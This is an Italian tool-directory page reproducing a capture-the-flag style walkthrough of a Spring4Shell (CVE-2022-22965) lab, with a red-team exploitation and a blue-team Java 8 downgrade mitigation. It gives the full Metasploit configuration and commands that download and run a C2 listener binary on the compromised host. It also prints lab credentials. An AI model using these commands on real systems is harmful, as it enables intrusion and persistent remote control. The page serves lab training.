Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Sandbox-Challenge-Spring4Shell-CVE-2022-22965- — Passo-passo sullo sfruttamento di CVE-2022-22965 (Spring4Shell) con Metasploit, implementazione di un listener C2 e mitigazione della vulnerabilità effettuando il downgrade a Java 8 su un server Tomcat. | Kitploit
Strumenti/GitHubGitHub/felisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingCommand and ControlApprendimento e FormazioneRed TeamingLab e Pratica
GitHubfelisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-

Sandbox-Challenge-Spring4Shell-CVE-2022-22965-

Passo-passo sullo sfruttamento di CVE-2022-22965 (Spring4Shell) con Metasploit, implementazione di un listener C2 e mitigazione della vulnerabilità effettuando il downgrade a Java 8 su un server Tomcat.

Vedi Repository
254 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Sandbox delle minacce Spring4Shell (CVE-2022-22965)

Panoramica

Questa guida documenta il completamento della Sandbox Challenge incentrata su CVE-2022-22965, comunemente nota come Spring4Shell — una vulnerabilità critica (CVSS 9.8/10) di esecuzione remota di codice che interessa versioni specifiche del framework Java Spring. La sfida copre sia le prospettive offensive (red team) che difensive (blue team) della vulnerabilità.

Nota: I comandi e i percorsi dei file in questa guida riflettono l'ambiente specifico utilizzato durante questo tentativo. Il tuo ambiente potrebbe differire — adatta percorsi, indirizzi IP e nomi di file di conseguenza.


Ambiente

MacchinaIndirizzo IPRuolo
Security-Desk (Kali Linux)172.16.200.12Macchina di attacco e lavoro
Red Target (Linux)172.16.100.90Target di sfruttamento
Blue Target (Linux)172.16.100.100Target di hardening

Credenziali: playerone / password123


Obiettivo Red Team: Distribuire il Listener C2 sul Red Target

Passo 1 — Identificare il Target

Ho esaminato la scheda Network Map nel pannello della sfida per confermare l'IP del Red Target (172.16.100.90). Ho usato curl per ispezionare l'applicazione web in esecuzione sulla porta 80:

curl http://172.16.100.90

L'output ha rivelato Apache Tomcat 9.0.59 con un reindirizzamento a /dasmsp. Ho esplorato il codice sorgente della pagina per identificare un endpoint di modulo POST su /dasmsp/contact.

Passo 2 — Avviare Metasploit e Configurare l'Exploit

msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run

L'exploit ha generato con successo una shell JSP, ha modificato il class loader, ha svuotato il file di log e ha aperto una sessione di shell di comando sul Red Target.

Passo 3 — Ottenere una Shell Interattiva

Dopo che la sessione è stata aperta, ho digitato shell per passare a una shell interattiva. Metasploit ha individuato /usr/bin/script sul target e lo ha usato per aprire una shell interattiva come utente tomcat.

Passo 4 — Trasferire ed Eseguire deploy_c2

Il binario deploy_c2 si trovava sul Security-Desk, non sul Red Target. L'ho ospitato tramite un server HTTP Python3 sul Security-Desk:

cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080

L'ho scaricato ed eseguito dalla sessione shell del Red Target:

curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2

L'output ha confermato: Done! — listener C2 distribuito con successo sul Red Target.


Obiettivo Blue Team: Mitigare CVE-2022-22965 sul Blue Target (Downgrade a Java 8)

Passo 1 — Collegarsi via SSH al Blue Target

Dal terminale del Security-Desk:

ssh [email protected]

Password: password123

Passo 2 — Trasferire i Pacchetti Java 8 al Blue Target

I pacchetti .deb di Java 8 si trovavano sul Security-Desk in /home/playerone/Desktop/Resources/. Li ho trasferiti al Blue Target usando SCP da un terminale del Security-Desk:

scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/

Pacchetti trasferiti:

  • adoptium-ca-certificates_1.0.2-1_all.deb
  • fonts-dejavu_2.37-6_all.deb
  • p11-kit-modules_0.24.1-2_amd64.deb
  • p11-kit_0.24.1-2_amd64.deb
  • temurin-8-jdk_8.0.402.0.0+6_amd64.deb

Passo 3 — Installare i Pacchetti Java 8

Nella sessione SSH sul Blue Target:

sudo dpkg -i /tmp/*.deb

Passo 4 — Impostare Java 8 come Predefinito (Workaround per Problema Noto)

A causa di un problema noto della sfida, il controllo non viene registrato correttamente senza impostare manualmente Java 8 come predefinito:

sudo update-alternatives --config java

Selezionata l'opzione 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java.

Passo 5 — Aggiornare il Servizio Tomcat per Usare Java 8

Ho ispezionato il file unit del servizio Tomcat:

cat /etc/systemd/system/tomcat.service

Ho modificato il file per aggiornare la variabile d'ambiente JAVA_HOME:

sudo nano /etc/systemd/system/tomcat.service

Da:

Environment="JAVA_HOME=/usr"

A:

Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"

Passo 6 — Ricaricare e Riavviare Tomcat

sudo systemctl daemon-reload
sudo systemctl restart tomcat

Il controllo CVE-2022-22965 Mitigated on Blue Target è diventato verde nel pannello della sfida.


Strumenti Utilizzati

  • Metasploit Framework (modulo spring_framework_rce_spring4shell)
  • curl
  • Server HTTP Python3
  • SSH / SCP
  • dpkg
  • systemctl
  • update-alternatives
  • nano
Scarica lo strumento